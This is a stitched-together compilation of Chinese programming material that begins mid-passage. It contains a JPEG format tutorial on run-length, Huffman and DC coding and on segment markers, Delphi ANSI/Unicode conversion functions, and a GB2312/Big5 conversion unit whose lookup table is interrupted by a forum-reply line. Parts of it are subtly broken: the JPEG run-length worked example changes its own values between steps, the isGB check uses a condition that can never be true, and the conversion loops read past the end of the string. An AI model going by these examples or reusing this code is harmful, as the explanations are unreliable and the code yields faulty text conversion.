57,45,0,0,0,0,23,0,-30,-16,0,0,1,0,0,0, 0 , 0 ,0 , 0,..,0

经过 RLC 压缩后就是

(0,57) ; (0,45) ; (4,23) ; (1,-30) ; (0,-16) ; (2,1) ; EOB

EOB 是一个结束标记, 表示后面都是 0 了. 实际上, 我们用 (0,0) 表示 EOB

但是, 如果这组数字不以 0 结束, 那么就不需要 EOB.

由于后面 huffman 编码的要求, 每组数字前一个表示 0 的数量的必须是 4 bit,

就是说, 只能是 0~15, 所以我们实际这样编码:

(0,57) ; (15,0) (2,3) ; (4,2) ; (15,0) (15,0) (1,895) , (0,0)

注意 (15,0) 表示了 16 个连续的 0.

6. huffman 编码

为了提高储存效率, JPEG 里并不直接保存数值, 而是将数值按位数分成 16 组:

数值 组 实际保存值

0 0 -

-1,1 1 0,1

-3,-2,2,3 2 00,01,10,11

-7,-6,-5,-4,4,5,6,7 3 000,001,010,011,100,101,110,111

-15,..,-8,8,..,15 4 0000,..,0111,1000,..,1111

-31,..,-16,16,..,31 5 00000,..,01111,10000,..,11111

-63,..,-32,32,..,63 6 .

-127,..,-64,64,..,127 7 .

-255,..,-128,128,..,255 8 .

-511,..,-256,256,..,511 9 .

-1023,..,-512,512,..,1023 10 .

-2047,..,-1024,1024,..,2047 11 .

-4095,..,-2048,2048,..,4095 12 .

-8191,..,-4096,4096,..,8191 13 .

-16383,..,-8192,8192,..,16383 14 .

-32767,..,-16384,16384,..,32767 15 .

还是来看前面的例子:

(0,57) ; (0,45) ; (4,23) ; (1,-30) ; (0,-8) ; (2,1) ; (0,0)

只处理每对数右边的那个:

57 是第 6 组的, 实际保存值为 111001 , 所以被编码为 (6,111001)

45 , 同样的操作, 编码为 (6,101101)

23 -> (5,10111)

-30 -> (5,00001)

-8 -> (4,0111)

1 -> (1,1)

前面的那串数字就变成了:

(0,6), 111001 ; (0,6), 101101 ; (4,5), 10111; (1,5), 00001; (0,4) , 0111 ;

(2,1), 1 ; (0,0)

括号里的数值正好合成一个字节. 后面被编码的数字表示范围是 -32767..32767.

合成的字节里, 高 4 位是前续 0 的个数, 低 4 位描述了后面数字的位数.

继续刚才的例子, 如果 06 的 huffman 编码为 111000

69 = (4,5) --- 1111111110011001

21 = (1,5) --- 11111110110

4 = (0,4) --- 1011

33 = (2,1) --- 11011

0 = EOB = (0,0) --- 1010

那么最后对于前面的例子表示的 63 个系数 (记得我们将第一个跳过了吗?) 按位流

写入 JPG 文件中就是这样的:

111000 111001 111000 101101 1111111110011001 10111 11111110110 00001

1011 0111 11011 1 1010

DC 的编码

---------

记得刚才我们跳过了每组 64 个数据的第一个吧, DC 就是指的这个数字 (后面 63

个简称 AC) 代入前面的 FDCT 公式可以得到

c(0,0) 7 7

DC = F(0,0) = --------- * sum sum f(x,y) * cos 0 * cos 0 其中 c(0,0) = 1/2

4 x=0 y=0

1 7 7

= --- * sum sum f(x,y)

8 x=0 y=0

即一块图象样本的平均值. 就是说, 它包含了原始 8x8 图象块里的很多能量. (通常

会得到一个很大的数值)

JPEG 的作者指出连续块的 DC 率之间有很紧密的联系, 因此他们决定对 8x8 块的

DC 值的差别进行编码. (Y, Cb, Cr 分别有自己的 DC)

Diff = DC(i) - DC(i-1)

所以这一块的 DC(i) 就是: DC(i) = DC(i-1) + Diff

JPG 从 0 开始对 DC 编码, 所以 DC(0)=0. 然后再将当前 Diff 值加在上一个值上得

到当前值.

下面再来看看上面那个例子: (记住我们保存的 DC 是和上一块 DC 的差值 Diff)

例如上面例子中, Diff 是 -511, 就编码成

(9, 000000000)

如果 9 的 Huffman 编码是 1111110 (在 JPG 文件中, 一般有两个 Huffman 表, 一

个是 DC 用, 一个是 AC 用) 那么在 JPG 文件中, DC 的 2 进制表示为

1111110 000000000

它将放在 63 个 AC 的前面, 上面上个例子的最终 BIT 流如下:

1111110 000000000 111000 111001 111000 101101 1111111110011001 10111

11111110110 00001 1011 0111 11011 1 1010

下面简单叙述一下针对一个数据单元的图片 Y 的解码

-----------------------------------------------

在整个图片解码的开始, 你需要先初始化 DC 值为 0.

1) 先解码 DC:

a) 取得一个 Huffman 码 (使用 Huffman DC 表)

b) Huffman解码, 看看后面的数据位数 N

c) 取得 N 位, 计算 Diff 值

d) DC + = Diff

e) 写入 DC 值: " vector[0]=DC "

2) 解码 63 个 AC:

------- 循环处理每个 AC 直到 EOB 或者处理到 64 个 AC

a) 取得一个 Huffman 码 (使用 Huffman AC 表)

b) Huffman 解码, 得到 (前面 0 数量, 组号)

[记住: 如果是(0,0) 就是 EOB 了]

c) 取得 N 位(组号) 计算 AC

d) 写入相应数量的 0

e) 接下来写入 AC

-----------------

下一步的解码

------------

上一步我们得到了 64 个矢量. 下面我们还需要做一些解码工作:

1) 反量化 64 个矢量 : "for (i=0;i<=63;i++) vector[i]*=quant[i]" (注意防止溢出)

2) 重排列 64 个矢量到 8x8 的块中

3) 对 8x8 的块作 IDCT

对 8x8 块的 (Y,Cb,Cr) 重复上面的操作 [Huffman 解码, 步骤 1), 2), 3)]

4) 将所有的 8bit 数加上 128

5) 转换 YCbCr 到 RGB

JPG 文件(Byte 级)里怎样组织图片信息

-----------------------------------

注意 JPEG/JFIF 文件格式使用 Motorola 格式, 而不是 Intel 格式, 就是说, 如果

是一个字的话, 高字节在前, 低字节在后.

JPG 文件是由一个个段 (segments) 构成的. 每个段长度 <=65535. 每个段从一个标

记字开始. 标记字都是 0xff 打头的, 以非 0 字节和 0xFF 结束. 例如 'FFDA' ,

'FFC4', 'FFC0'. 每个标记有它特定意义, 这是由第2字节指明的. 例如, SOS (Start

Of Scan = 'FFDA') 指明了你应该开始解码. 另一个标记 DQT (Define Quantization

Table = 0xFFDB) 就是说它后面有 64 字节的 quantization 表

在处理 JPG 文件时, 如果你碰到一个 0xFF, 而它后面的字节不是 0, 并且这个字节

没有意义. 那么你遇到的 0xFF 字节必须被忽略. (一些 JPG 里, 常用用 0xFF 做某

些填充用途) 如果你在做 huffman 编码时碰巧产生了一个 0xFF, 那么就用 0xFF

0x00 代替. 就是说在 jpeg 图形解码时碰到 FF00 就把它当作 FF 处理.

另外在 huffman 编码区域结束时, 碰到几个 bit 没有用的时候, 应该用 1 去填充.

然后后面跟 FF.

下面是几个重要的标记

--------------------

SOI = Start Of Image = 'FFD8'

这个标记只在文件开始出现一次

EOI = End Of Image = 'FFD9'

JPG 文件都以 FFD9 结束

RSTi = FFDi ( i = 0..7) [ RST0 = FFD0, RST7=FFD7]

= 复位标记

通常穿插在数据流里, 我想是担心 JPG 解码出问题吧(应该配合 DRI 使用). RST 将

Huffman 的解码数据流复位. DC 也重新从 0 开始计

(SOS --- RST0 --- RST1 -- RST2 --...

...-- RST6 --- RST7 -- RST0 --...)

----

标记

----

下面是必须处理的标记

SOF0 = Start Of Frame 0 = FFC0

SOS = Start Of Scan = FFDA

APP0 = it's the marker used to identify a JPG file which uses the JFIF

specification = FFE0

COM = Comment = FFFE

DNL = Define Number of Lines = FFDC

DRI = Define Restart Interval = FFDD

DQT = Define Quantization Table = FFDB

DHT = Define Huffman Table = FFC4

JPG 文件中 Haffman 表的储存

---------------------------

JPEG 里定义了一张表来描述 Haffman 树. 定义在 DHT 标记后面. 注意: Haffman

代码的长度限制在 16bit 内.

一般一个 JPG 文件里会有 2 类 Haffman 表: 一个用于 DC 一个用于 AC (实际有 4

个表, 亮度的 DC,AC 两个, 色度的 DC,AC 两个)

这张表是这样保存的:

1) 16 字节:

第 i 字节表示了 i 位长的 Huffman 代码的个数 (i= 1 到 16)

2) 这表的长度 (字节数) = 这 16 个数字之和

现在你可以想象这张表怎么存放的吧? 对应字节就是对应 Haffman 代码等价数字. 我

不多解释, 这需要你先了解 Haffman 算法. 这里只举一个例子:

Haffman 表的表头是 0,2,3,1,1,1,0,1,0,0,0,0,0,0,0,0

就是说长度为 1 的代码没有

长度为 2 的代码为 00

01

长度为 3 的代码是 100

101

110

长度为 4 的代码是 1110

长度为 5 的代码是 11110

长度为 6 的代码是 111110

长度为 7 的代码没有 (如果有一个的话应该是 1111110)

长度为 8 的代码是 11111100

.....

后面都没有了.

如果表下面的数据是

45 57 29 17 23 25 34 28

就是说

45 = 00

57 = 01

29 = 100

17 = 101

23 = 110

等等...

如果你懂 Haffman 编码, 这些不难理解

采样系数

--------

下面讲解的都是真彩 JPG 的解码, 灰度 JPG 的解码很简单, 因为图形中只有亮度信

息. 而彩色图形由 (Y, Cr, Cb) 构成, 前面提到过, Y 通常是每点采样一次, 而 Cr,

Cb 一般是 2x2 点采样一次, 当然也有的 JPG 是逐点采样, 或者每两点采样 (横向

两点, 纵向一点) 采样系数均被定义成对比最高采样系数的相对值.

一般情况 (即: Y 逐点采样, Cr Cb 每 2x2 点一次) 下: Y 有最高的采样率, 横向采

样系数HY=2 纵向采样系数 VY=2; Cb 的横向采样系数 HCb=1, 纵向采样系数 VCb=1;

同样 HCr=1, VCr=1

在 Jpeg 里, 8x8 个原始数据, 经过 RLC, Huffman 编码后的一串数据流称为一个

Data Unit (DU) JPG 里按 DU 为单位的编码次序如下:

1) for (counter_y=1;counter_y<=VY;counter_y++)

for (counter_x=1;counter_x<=HY;counter_x++)

{ 对 Y 的 Data Unit 编码 }

2) for (counter_y=1;counter_y<=VCb ;counter_y++)

for (counter_x=1;counter_x<=HCb;counter_x++)

{ 对 Cb 的 Data Unit 编码 }

3) for (counter_y=1;counter_y<=VCr;counter_y++)

for (counter_x=1;counter_x<=HCr;counter_x++)

{ 对 Cr 的 Data Unit 编码 }

按我上面的例子: (HY=2, VY=2 ; HCb=VCb =1, HCr,VCr=1) 就是这样一个次序

YDU,YDU,YDU,YDU,CbDU,CrDU

这些就描述了一块 16x16 的图形. 16x16 = (Hmax*8 x Vmax*8) 这里 Hmax=HY=2

Vmax=VY=2

一个 (Hmax*8,Vmax*8) 的块被称作 MCU (Minimun Coded Unix) 前面例子中一个

MCU = YDU,YDU,YDU,YDU,CbDU,CrDU

如果 HY =1, VY=1

HCb=1, VCb=1

HCr=1, VCr=1

这样 (Hmax=1,Vmax=1), MCU 只有 8x8 大, MCU = YDU,CbDU,CrDU

对于灰度 JPG, MCU 只有一个 DU (MCU = YDU)

JPG 文件里, 图象的每个组成部分的采样系数定义在 SOF0 (FFC0) 标记后

简单说一下 JPG 文件的解码

-------------------------

解码程序先从 JPG 文件中读出采样系数, 这样就知道了 MCU 的大小, 算出整个图象

有几个 MCU. 解码程序再循环逐个对 MCU 解码, 一直到检查到 EOI 标记. 对于每个

MCU, 按正规的次序解出每个 DU, 然后组合, 转换成 (R,G,B) 就 OK 了

附:JPEG 文件格式

~~~~~~~~~~~~~~~~

- 文件头 (2 bytes): $ff, $d8 (SOI) (JPEG 文件标识)

- 任意数量的段 , 见后面

- 文件结束 (2 bytes): $ff, $d9 (EOI)

段的格式:

~~~~~~~~~

- header (4 bytes):

$ff 段标识

n 段的类型 (1 byte)

sh, sl 该段长度, 包括这两个字节, 但是不包括前面的 $ff 和 n.

注意: 长度不是 intel 次序, 而是 Motorola 的, 高字节在前,

低字节在后!

- 该段的内容, 最多 65533 字节

注意:

- 有一些无参数的段 (下面那些前面注明星号的)

这些段没有长度描述 (而且没有内容), 只有 $ff 和类型字节.

- 段之间无论有多少 $ff 都是合法的, 必须被忽略掉.

段的类型:

~~~~~~~~~

*TEM = $01 可以忽略掉

SOF0 = $c0 帧开始 (baseline JPEG), 细节附后

SOF1 = $c1 dito

SOF2 = $c2 通常不支持

SOF3 = $c3 通常不支持

SOF5 = $c5 通常不支持

SOF6 = $c6 通常不支持

SOF7 = $c7 通常不支持

SOF9 = $c9 arithmetic 编码(Huffman 的一种扩展算法), 通常不支持

SOF10 = $ca 通常不支持

SOF11 = $cb 通常不支持

SOF13 = $cd 通常不支持

SOF14 = $ce 通常不支持

SOF14 = $ce 通常不支持

SOF15 = $cf 通常不支持

DHT = $c4 定义 Huffman Table, 细节附后

JPG = $c8 未定义/保留 (引起解码错误)

DAC = $cc 定义 Arithmetic Table, 通常不支持

*RST0 = $d0 RSTn 用于 resync, 通常被忽略

*RST1 = $d1

*RST2 = $d2

*RST3 = $d3

*RST4 = $d4

*RST5 = $d5

*RST6 = $d6

*RST7 = $d7

SOI = $d8 图片开始

EOI = $d9 图片结束

SOS = $da 扫描行开始, 细节附后

DQT = $db 定义 Quantization Table, 细节附后

DNL = $dc 通常不支持, 忽略

DRI = $dd 定义重新开始间隔, 细节附后

DHP = $de 忽略 (跳过)

EXP = $df 忽略 (跳过)

APP0 = $e0 JFIF APP0 segment marker (细节略)

APP15 = $ef 忽略

JPG0 = $f0 忽略 (跳过)

JPG13 = $fd 忽略 (跳过)

COM = $fe 注释, 细节附后

其它的段类型都保留必须跳过

SOF0: Start Of Frame 0:

~~~~~~~~~~~~~~~~~~~~~~~

- $ff, $c0 (SOF0)

- 长度 (高字节, 低字节), 8+components*3

- 数据精度 (1 byte) 每个样本位数, 通常是 8 (大多数软件不支持 12 和 16)

- 图片高度 (高字节, 低字节), 如果不支持 DNL 就必须 >0

- 图片宽度 (高字节, 低字节), 如果不支持 DNL 就必须 >0

- components 数量(1 byte), 灰度图是 1, YCbCr/YIQ 彩色图是 3, CMYK 彩色图

是 4

- 每个 component: 3 bytes

- component id (1 = Y, 2 = Cb, 3 = Cr, 4 = I, 5 = Q)

- 采样系数 (bit 0-3 vert., 4-7 hor.)

- quantization table 号

DRI: Define Restart Interval:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- $ff, $dd (DRI)

- 长度 (高字节, 低字节), 必须是 4

- MCU 块的单元中的重新开始间隔 (高字节, 低字节),

意思是说, 每 n 个 MCU 块就有一个 RSTn 标记.

第一个标记是 RST0, 然后是 RST1 等, RST7 后再从 RST0 重复

DQT: Define Quantization Table:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- $ff, $db (DQT)

- 长度 (高字节, 低字节)

- QT 信息 (1 byte):

bit 0..3: QT 号(0..3, 否则错误)

bit 4..7: QT 精度, 0 = 8 bit, 否则 16 bit

- n 字节的 QT, n = 64*(精度+1)

评论:

- 一个单独的 DQT 段可以包含多个 QT, 每个都有自己的信息字节

- 当精度=1 (16 bit), 每个字都是高位在前低位在后

DAC: Define Arithmetic Table:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

法律原因, 现在的软件不支持 arithmetic 编码.

不能生产使用 arithmetic 编码的 JPEG 文件

DHT: Define Huffman Table:

~~~~~~~~~~~~~~~~~~~~~~~~~~

- $ff, $c4 (DHT)

- 长度 (高字节, 低字节)

- HT 信息 (1 byte):

bit 0..3: HT 号 (0..3, 否则错误)

bit 4 : HT 类型, 0 = DC table, 1 = AC table

bit 5..7: 必须是 0

- 16 bytes: 长度是 1..16 代码的符号数. 这 16 个数的和应该 <=256

- n bytes: 一个包含了按递增次序代码长度排列的符号表

(n = 代码总数)

评论:

- 一个单独的 DHT 段可以包含多个 HT, 每个都有自己的信息字节

COM: 注释:

~~~~~~~~~~

- $ff, $fe (COM)

- 注释长度 (高字节, 低字节) = L+2

- 注释为长度为 L 的字符流

SOS: Start Of Scan:

~~~~~~~~~~~~~~~~~~~

- $ff, $da (SOS)

- 长度 (高字节, 低字节), 必须是 6+2*(扫描行内组件的数量)

- 扫描行内组件的数量 (1 byte), 必须 >= 1 , <=4 (否则是错的) 通常是 3

- 每个组件: 2 bytes

- component id (1 = Y, 2 = Cb, 3 = Cr, 4 = I, 5 = Q), 见 SOF0

- 使用的 Huffman 表:

- bit 0..3: AC table (0..3)

- bit 4..7: DC table (0..3)

- 忽略 3 bytes (???)

评论:

- 图片数据 (一个个扫描行) 紧接着 SOS 段.


如何得到汉字的unicode

你需要的是这样的函数吧？

function AnsiToUnicode(Ansi: string):string;

var

s:string;

i:integer;

j,k:string[2];

a:array [1..1000] of char;

begin

s:='';

StringToWideChar(Ansi,@(a[1]),500);

i:=1;

while ((a[i]<>#0) or (a[i+1]<>#0)) do begin

j:=IntToHex(Integer(a[i]),2);

k:=IntToHex(Integer(a[i+1]),2);

s:=s+k+j;

i:=i+2;

end;

Result:=s;

end;

附上反编码的函数

function ReadHex(AString:string):integer;

begin

Result:=StrToInt('$'+AString)

end;

function UnicodeToAnsi(Unicode: string):string;

var

s:string;

i:integer;

j,k:string[2];

begin

i:=1;

s:='';

while i<Length(Unicode)+1 do begin

j:=Copy(Unicode,i+2,2);

k:=Copy(Unicode,i,2);

i:=i+4;

s:=s+Char(ReadHex(j))+Char(ReadHex(k));

end;

if s<>'' then

s:=WideCharToString(PWideChar(s+#0#0#0#0))

else

s:='';

Result:=s;

end;

根据你的需要进行改动就可以了。


BIG5和GB互换

Gb2312 高字節範圍 0xa1 <= Gb2312.High <= 0xf7

Gb2312 低字節範圍 0xa1 <= Gb2312.Low <= 0xfe

Big5 高字節範圍 0xa1 <= Big5.High <= 0xf9

Big5 低字節範圍 0x40 <= Big5.Low <= 0xfe

可以看出，big5碼的低字節的範圍比gb2312要大，當字串中出現了低字節介於0x40,0xa0之間，則說明是big5碼！也就是說，給的漢字多一些才能準確判斷！

interface

function GBtoBIG5(value: string): string;

function BIG5toGB(value: string): string;

implementation

var

BIG5Order: array[0..14757] of Word;

GBOrder : array[0..8177] of Word;

function GBOffset(value: string): integer;

begin

if length(value) >= 2 then

Result := (Ord(value[1]) - 161) * 94 + (Ord(value[2]) - 161)

else

Result := -1;

end;

function BIG5Offset(value: string): integer;

begin

Result := -1;

if length(value) >= 2 then

begin

if (Ord(value[2]) >= 64) and (Ord(value[2]) <= 126) then

Result := (Ord(value[1]) - 161) * 157 + (Ord(value[2]) - 64);

if (Ord(value[2]) >= 161) and (Ord(value[2]) <= 254) then

Result := (Ord(value[1]) - 161) * 157 + 63 + (Ord(value[2]) - 161);

end

end;

function WordToString(value: Word): string;

begin

Result := Chr(Hi(value)) + Chr(Lo(Value));

end;

function isBIG5(value: string): Boolean;

begin

if (length(value)>=2) then

begin

if (value[1] < #161) then

Result := false

else

if ((value[2] >= #64) and (value[2] <= #126)) or ((value[2] >= #161) and (value[2] <= #254)) then

Result := true

else

Result := false

end

else

Result := false

end;

function isGB(value: string): Boolean;

begin

if (length(value)>=2) then

begin

if (value[1] <= #161) and (value[1] >= #247) then

Result := false

else

if (value[2] <= #161) and (value[2] >= #254) then

Result := false

else

Result := true

end

else

Result := true;

end;

function GBtoBIG5(value: string): string;

var

leng, idx : integer;

tmpStr : string[2];

Offset : integer;

output : string;

begin

output := '';

leng := length(value);

idx := 1;

while idx <= leng do

begin

tmpStr := value[idx]+ value[idx + 1];

if isGB(tmpStr) then

begin

offset:=GBOffset(tmpStr);

if (offset >= 0) and (offset <= 8177) then

begin

output := output + WordToString(GBOrder[offset]);

inc(idx);

end

else

output := output + value[idx] ;

end

else

output := output + value[idx] ;

inc(idx, 1);

end;

Result := output;

end;

function BIG5toGB(value: string): string;

var

leng, idx : integer;

tmpStr : string[2];

output : string;

offset : integer;

begin

output := '';

leng := length(value);

idx := 1;

while idx <= leng do

begin

tmpStr := value[idx]+ value[idx + 1];

if isBIG5(tmpStr) then

begin

offset:=BIG5Offset(tmpStr);

if (offset >= 0) and (offset <= 14757) then

begin

output := output + WordToString(BIG5Order[offset]);

inc(idx);

end

else

output := output + value[idx];

end

else

output := output + value[idx];

inc(idx);

end;

Result := output;

end;

initialization

BIG5Order[0] := $2020;

BIG5Order[1] := $A3AC;

BIG5Order[2] := $A1A2;

BIG5Order[3] := $A1A3;

BIG5Order[4] := $2020;

BIG5Order[5] := $A1A4;

BIG5Order[6] := $A3BB;

BIG5Order[7] := $A3BA;

BIG5Order[8] := $A3BF;

BIG5Order[9] := $A3A1;

BIG5Order[10] := $A1C3;

BIG5Order[11] := $A9A9;

BIG5Order[12] := $A1A7;

BIG5Order[13] := $A3AC;

BIG5Order[14] := $2020;

BIG5Order[15] := $A3AE;

BIG5Order[16] := $2020;

BIG5Order[17] := $A3BB;

BIG5Order[18] := $A3BA;

BIG5Order[19] := $A3BF;

BIG5Order[20] := $2020;

BIG5Order[21] := $A9A7;

BIG5Order[22] := $A9A5;

BIG5Order[23] := $A9A6;

BIG5Order[24] := $A9A4;

BIG5Order[25] := $2020;

BIG5Order[26] := $A3DF;

BIG5Order[27] := $2020;

BIG5Order[28] := $2020;

BIG5Order[29] := $A3A8;

BIG5Order[30] := $A3A9;

BIG5Order[31] := $A1D0;

BIG5Order[32] := $2020;

BIG5Order[33] := $A3FB;

BIG5Order[34] := $A3FD;

BIG5Order[35] := $2020;

BIG5Order[36] := $2020;

BIG5Order[37] := $A1B1;

BIG5Order[38] := $A1B2;

BIG5Order[39] := $2020;

BIG5Order[40] := $2020;

BIG5Order[41] := $A1BE;

BIG5Order[42] := $A1BF;

BIG5Order[43] := $2020;

BIG5Order[44] := $2020;

BIG5Order[45] := $A1B6;

BIG5Order[46] := $A1B7;

BIG5Order[47] := $A1C4;

BIG5Order[48] := $A1C5;

BIG5Order[49] := $A1B4;

BIG5Order[50] := $A1B5;

BIG5Order[51] := $2020;

BIG5Order[52] := $A1A6;

BIG5Order[53] := $A1B8;

BIG5Order[54] := $A1B9;

BIG5Order[55] := $2020;

BIG5Order[56] := $2020;

BIG5Order[57] := $A1BA;

BIG5Order[58] := $A1BB;

BIG5Order[59] := $2020;

BIG5Order[60] := $2020;

BIG5Order[61] := $A3A8;

BIG5Order[62] := $A3A9;

BIG5Order[63] := $2020;

BIG5Order[64] := $2020;

BIG5Order[65] := $A1B1;

BIG5Order[66] := $A1B2;

BIG5Order[67] := $A1AE;

BIG5Order[68] := $A3A7;

BIG5Order[69] := $A1B0;

BIG5Order[70] := $A1B1;

BIG5Order[71] := $2020;

BIG5Order[72] := $A3A2;

BIG5Order[73] := $A3E0;

BIG5Order[74] := $2020;

BIG5Order[75] := $A3A3;

BIG5Order[76] := $A3A6;

BIG5Order[77] := $A3AA;

BIG5Order[78] := $A1F9;

BIG5Order[79] := $A1EC;

BIG5Order[80] := $2020;

BIG5Order[81] := $A1F0;

BIG5Order[82] := $A1F1;

BIG5Order[83] := $A1F7;

BIG5Order[84] := $A1F8;

BIG5Order[85] := $A1F2;

BIG5Order[86] := $A1EE;

BIG5Order[87] := $A1EF;

BIG5Order[88] := $A1F3;

BIG5Order[89] := $A1F4;

BIG5Order[90] := $A1F5;

BIG5Order[91] := $A1F6;

BIG5Order[92] := $2020;

BIG5Order[93] := $2020;

BIG5Order[94] := $2020;

BIG5Order[95] := $2020;

BIG5Order[96] := $A1A5;

BIG5Order[97] := $2020;

BIG5Order[98] := $2020;

BIG5Order[99] := $2020;

BIG5Order[100] := $2020;

BIG5Order[101] := $2020;

BIG5Order[102] := $2020;

BIG5Order[103] := $2020;

BIG5Order[104] := $2020;

BIG5Order[105] := $2020;

BIG5Order[106] := $2020;

BIG5Order[107] := $2020;

BIG5Order[108] := $2020;

BIG5Order[109] := $A3AB;

BIG5Order[110] := $2020;

BIG5Order[111] := $A1C1;

BIG5Order[112] := $A1C2;

BIG5Order[113] := $A1C0;

BIG5Order[114] := $2020;

BIG5Order[115] := $A3BC;

BIG5Order[116] := $A3BE;

BIG5Order[117] := $A3BD;

BIG5Order[118] := $A1DC;

BIG5Order[119] := $A1DD;

BIG5Order[120] := $A1D9;

BIG5Order[121] := $A1DE;

BIG5Order[122] := $2020;

BIG5Order[123] := $A1D4;

BIG5Order[124] := $2020;

BIG5Order[125] := $2020;

BIG5Order[126] := $2020;

BIG5Order[127] := $2020;

BIG5Order[128] := $2020;

BIG5Order[129] := $A1AB;

BIG5Order[130] := $A1C9;

BIG5Order[131] := $A1C8;

BIG5Order[132] := $2020;

BIG5Order[133] := $A1CF;

BIG5Order[134] := $2020;

BIG5Order[135] := $2020;

BIG5Order[136] := $2020;

BIG5Order[137] := $2020;

BIG5Order[138] := $A1D2;

BIG5Order[139] := $A1D3;

BIG5Order[140] := $A1DF;

BIG5Order[141] := $A1E0;

BIG5Order[142] := $A1E2;

BIG5Order[143] := $A1E1;

BIG5Order[144] := $2020;

BIG5Order[145] := $A1D1;

BIG5Order[146] := $A1FC;

BIG5Order[147] := $A1FD;

BIG5Order[148] := $A1FB;

BIG5Order[149] := $A1FA;

BIG5Order[150] := $2020;

回复人：hf(2000-8-17 12:54:00) 得0分

BIG5Order[151] := $2020;

BIG5Order[152] := $2020;

BIG5Order[153] := $2020;

BIG5Order[154] := $A1AC;

BIG5Order[155] := $2020;

BIG5Order[156] := $A3AF;

BIG5Order[157] := $A3DC;

BIG5Order[158] := $2020;

BIG5Order[159] := $2020;

BIG5Order[160] := $A1E7;

BIG5Order[161] := $A3A4;

BIG5Order[162] := $2020;

BIG5Order[163] := $A1E9;

BIG5Order[164] := $A1EA;

BIG5Order[165] := $A3A5;

BIG5Order[166] := $2020;

BIG5Order[167] := $A1E6;

BIG5Order[168] := $2020;

BIG5Order[169] := $2020;

BIG5Order[170] := $2020;

BIG5Order[171] := $A3C0;

BIG5Order[172] := $2020;

BIG5Order[173] := $2020;

BIG5Order[174] := $2020;

BIG5Order[175] := $2020;

BIG5Order[176] := $2020;

BIG5Order[177] := $2020;

BIG5Order[178] := $2020;

BIG5Order[179] := $2020;

BIG5Order[180] := $2020;

BIG5Order[181] := $A1E3;

BIG5Order[182] := $2020;

BIG5Order[183] := $2020;

BIG5Order[184] := $2020;

BIG5Order[185] := $2020;

BIG5Order[186] := $2020;

BIG5Order[187] := $2020;

BIG5Order[188] := $2020;

BIG5Order[189] := $2020;

BIG5Order[190] := $2020;

BIG5Order[191] := $2020;

BIG5Order[192] := $2020;

BIG5Order[193] := $2020;

BIG5Order[194] := $2020;

BIG5Order[195] := $2020;

BIG5Order[196] := $2020;

BIG5Order[197] := $2020;

BIG5Order[198] := $2020;

BIG5Order[199] := $2020;

BIG5Order[200] := $2020;

BIG5Order[201] := $2020;

BIG5Order[202] := $2020;

BIG5Order[203] := $2020;

BIG5Order[204] := $2020;

BIG5Order[205] := $2020;

BIG5Order[206] := $A9EF;

BIG5Order[207] := $A9DF;

BIG5Order[208] := $A9D7;

BIG5Order[209] := $A9CF;

BIG5Order[210] := $A9C7;

BIG5Order[211] := $A3FE;

BIG5Order[212] := $2020;

BIG5Order[213] := $2020;

BIG5Order[214] := $2020;

BIG5Order[215] := $A9B3;

BIG5Order[216] := $A9B7;

BIG5Order[217] := $A9BB;

BIG5Order[218] := $A9BF;

BIG5Order[219] := $2020;

BIG5Order[220] := $2020;

BIG5Order[221] := $2020;

BIG5Order[222] := $2020;

BIG5Order[223] := $2020;

BIG5Order[224] := $2020;

BIG5Order[225] := $2020;

BIG5Order[226] := $2020;

BIG5Order[227] := $2020;

BIG5Order[228] := $2020;

BIG5Order[229] := $2020;

BIG5Order[230] := $2020;

BIG5Order[231] := $2020;

BIG5Order[232] := $2020;

BIG5Order[233] := $2020;

BIG5Order[234] := $A3B0;

BIG5Order[235] := $A3B1;

BIG5Order[236] := $A3B2;

BIG5Order[237] := $A3B3;

BIG5Order[238] := $A3B4;

BIG5Order[239] := $A3B5;

BIG5Order[240] := $A3B6;

BIG5Order[241] := $A3B7;

BIG5Order[242] := $A3B8;

BIG5Order[243] := $A3B9;

BIG5Order[244] := $A2F1;

BIG5Order[245] := $A2F2;

BIG5Order[246] := $A2F3;

BIG5Order[247] := $A2F4;

BIG5Order[248] := $A2F5;

BIG5Order[249] := $A2F6;

BIG5Order[250] := $A2F7;

BIG5Order[251] := $A2F8;

BIG5Order[252] := $A2F9;

BIG5Order[253] := $A2FA;

BIG5Order[254] := $2020;

BIG5Order[255] := $2020;

BIG5Order[256] := $2020;

BIG5Order[257] := $2020;

BIG5Order[258] := $2020;

BIG5Order[259] := $2020;

BIG5Order[260] := $2020;

BIG5Order[261] := $2020;

BIG5Order[262] := $2020;

BIG5Order[263] := $2020;

BIG5Order[264] := $2020;

BIG5Order[265] := $2020;

BIG5Order[266] := $A3C1;

BIG5Order[267] := $A3C2;

BIG5Order[268] := $A3C3;

BIG5Order[269] := $A3C4;

BIG5Order[270] := $A3C5;

BIG5Order[271] := $A3C6;

BIG5Order[272] := $A3C7;

BIG5Order[273] := $A3C8;

BIG5Order[274] := $A3C9;

BIG5Order[275] := $A3CA;

BIG5Order[276] := $A3CB;

BIG5Order[277] := $A3CC;

BIG5Order[278] := $A3CD;

BIG5Order[279] := $A3CE;

BIG5Order[280] := $A3CF;

BIG5Order[281] := $A3D0;

BIG5Order[282] := $A3D1;

BIG5Order[283] := $A3D2;

BIG5Order[284] := $A3D3;

BIG5Order[285] := $A3D4;

BIG5Order[286] := $A3D5;

BIG5Order[287] := $A3D6;

BIG5Order[288] := $A3D7;

BIG5Order[289] := $A3D8;

BIG5Order[290] := $A3D9;

BIG5Order[291] := $A3DA;

BIG5Order[292] := $A3E1;

BIG5Order[293] := $A3E2;

BIG5Order[294] := $A3E3;

BIG5Order[295] := $A3E4;

BIG5Order[296] := $A3E5;

BIG5Order[297] := $A3E6;

BIG5Order[298] := $A3E7;

BIG5Order[299] := $A3E8;

BIG5Order[300] := $A3E9;

BIG5Order[301] := $A3EA;

BIG5Order[302] := $A3EB;

BIG5Order[303] := $A3EC;

BIG5Order[304] := $A3ED;

BIG5Order[305] := $A3EE;

BIG5Order[306] := $A3EF;

BIG5Order[307] := $A3F0;

BIG5Order[308] := $A3F1;

BIG5Order[309] := $A3F2;

BIG5Order[310] := $A3F3;

BIG5Order[311] := $A3F4;

BIG5Order[312] := $A3F5;

BIG5Order[313] := $A3F6;

BIG5Order[314] := $A3F7;

BIG5Order[315] := $A3F8;

BIG5Order[316] := $A3F9;

BIG5Order[317] := $A3FA;

BIG5Order[318] := $A6A1;

BIG5Order[319] := $A6A2;

BIG5Order[320] := $A6A3;

BIG5Order[321] := $A6A4;

BIG5Order[322] := $A6A5;

BIG5Order[323] := $A6A6;

